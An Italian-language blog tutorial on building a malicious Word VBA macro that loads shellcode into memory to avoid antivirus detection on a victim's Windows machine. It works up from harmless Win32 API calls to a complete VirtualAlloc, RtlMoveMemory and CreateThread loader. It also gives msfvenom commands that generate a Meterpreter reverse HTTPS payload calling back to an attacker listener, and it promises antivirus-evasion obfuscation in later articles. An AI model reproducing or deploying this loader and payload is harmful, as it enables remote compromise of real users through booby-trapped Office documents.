Nello scorso articolo abbiamo parlato di macro di Word e di come exploitare tramite le macro un computer windows. Il problema di questo approccio è che lo shellcode viene salvato sul computer della vittima e potrebbe essere rilevato dagli antivirus presenti o da eventuali IDS.
L’obiettivo di questo articolo è quello di riuscire ad eseguire il codice solamente nella memoria del computer, in modo da evitare di scrivere sul disco e diminuire le possibilità di essere identificati da un antivirus.
Le Windows API, o Win32 API, sono l’insieme delle API che permettono di avere un accesso diretto alle funzioni di sistema e all’hardware.
Le API consistono di un insieme di funzioni in linguaggio C implementate in dynamic-link libraries e utilizzano un modello orientato ad oggetti. Si dividono in tre macrogruppi:
Se per esempio volessimo creare un Hello Word tramite esse, il codice in C sarà il seguente
#include <windows.h>
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hInstPrev, PSTR cmdline, int cmdshow)
{
return MessageBox(NULL, "hello, world", "caption", 0);
}
Come si può vedere è stata chiamata l’API MessageBox che ha la seguente definizione:
int MessageBox(
[in, optional] HWND hWnd,
[in, optional] LPCTSTR lpText,
[in, optional] LPCTSTR lpCaption,
[in] UINT uType
);
dove:
In VBA è essenzialmente la stessa cosa, solo che bisogna convertire da C a VBA il codice e ci verrà in soccorso il sito di PINVOKE.NET.
Se volessimo creare il MessageBox tramite VBA, per prima cosa vediamo la definizione dal sito di microsoft e successivamente copiamo da PINVOKE la definizione in VBA
Private Declare Function MessageBox Lib "user32.dll" Alias "MessageBoxA" (ByVal hWnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal uType As Long) As Long
Successivamente dichiariamo la funzione Macro inserendo le variabili che ci servono
Sub Macro()
Dim Titolo As String
Dim Caption As String
Dim uType_str As String
Dim uType_long As Long
Titolo = "hello world"
Caption = "caption"
uType_str = 0
uType_long = CLng(uType_str)
MessageBox 0&, Titolo, Caption, uType_long
End Sub
Se invece volessimo stampare il nome del computer tramite MessageBox con VBA il procedimento è lo stesso.
GetComputerName viene definito come:
BOOL GetComputerNameA(
[out] LPSTR lpBuffer,
[in, out] LPDWORD nSize
);
Su Pinvoke lo troviamo definito in questo modo:
Declare Function GetComputerName Lib "kernel32" (ByVal lpBuffer As String, ByRef nMax As Integer) As Boolean
Di conseguenza, per stampare il nome del computer tramite VBA:
Sub Macro()
Dim sBuff As String * 255
Dim lBuffLen As Long
Dim lResult As Long
lBuffLen = 255
lResult = GetComputerName(sBuff, lBuffLen)
ComputerName = Left(sBuff, lBuffLen)
MsgBox (ComputerName)
End Sub
In questo caso abbiamo usato la funzione MSgBox, ma se volessimo usare la macro scritta precedentemente per MessageBox ed unirla a questa, il codice sarebbe il seguente
Declare PtrSafe Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Declare PtrSafe Function MessageBox Lib "user32.dll" Alias "MessageBoxA" (ByVal hWnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal uType As Long) As Long
Sub Macro()
Dim sBuff As String * 255
Dim lBuffLen As Long
Dim lResult As Long
Dim Titolo As String
Dim Caption As String
Dim uType_str As String
Dim uType_long As Long
Caption = "caption"
uType_str = 0
uType_long = CLng(uType_str)
lBuffLen = 255
lResult = GetComputerName(sBuff, lBuffLen)
ComputerName = Left(sBuff, lBuffLen)
MessageBox 0&, ComputerName, Caption, uType_long
End Sub
Per avere una reverse shell il metodo da seguire è sempre lo stesso, anche se un po' più complesso. Ma andiamo per gradi.
I passaggi che bisogna eseguire sono:
Le API che utilizzeremo sono:
La definizione di VirtualAlloc è la seguente
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
Dove:
Per ora la nostra funzione sarà quindi la seguente:
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32.dll" (ByVal lpAddress As LongPtr, ByVal dwSize As LongPtr, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Dim buf As Variant
Dim addr As LongPtr
buf = Array(shellcode)
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
Come secondo passaggio dobbiamo copiare lo shellcode all’interno della memoria. Per farlo useremo RtlMemory:
VOID RtlMoveMemory(
_Out_ VOID UNALIGNED *Destination,
_In_ const VOID UNALIGNED *Source,
_In_ SIZE_T Length
);
Dove:
Per farlo sarà sufficiente eseguire un ciclo for che copierà byte per byte
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Dim counter As Long
Dim data As Long
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
E come ultimo passo è necessario eseguire il processo con CreateThread:
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in, optional] __drv_aliasesMem LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out, optional] LPDWORD lpThreadId
);
Dove:
Di conseguenza il codice successivo sarà
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
res = CreateThread(0, 0, addr, 0, 0, 0)
Creo ora lo shellcode con msfvenom con il seguente comando
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=4443 EXITFUNC=thread -f vbapplication
e unendo tutti i pezzi del codice avremo
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32.dll" (ByVal lpAddress As LongPtr, ByVal dwSize As LongPtr, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Sub Macro()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
buf = Array(72,131....213)
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Sub
Per avere lo stesso codice creato a mano in questo articolo è sufficiente digitare il seguente comando:
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 EXITFUNC=thread -f vba
e msfvenom si occuperà di creare tutta la macro per noi.
Come vedremo nei prossimi articoli, questa è solo la punta dell’iceberg per quanto riguarda l’esecuzione di codice in memoria su Windows. Lo shellcode ora risiede in memoria ed è più difficile da identificare, ma viene comunque segnalato come malevolo dalla maggior parte degli Antivirus.
Nei prossimi articoli vedremo come utilizzare tecniche di obfuscation al fine di cercare di bypassare alcuni antivirus.
Alcune risorse che ho utilizzato sono: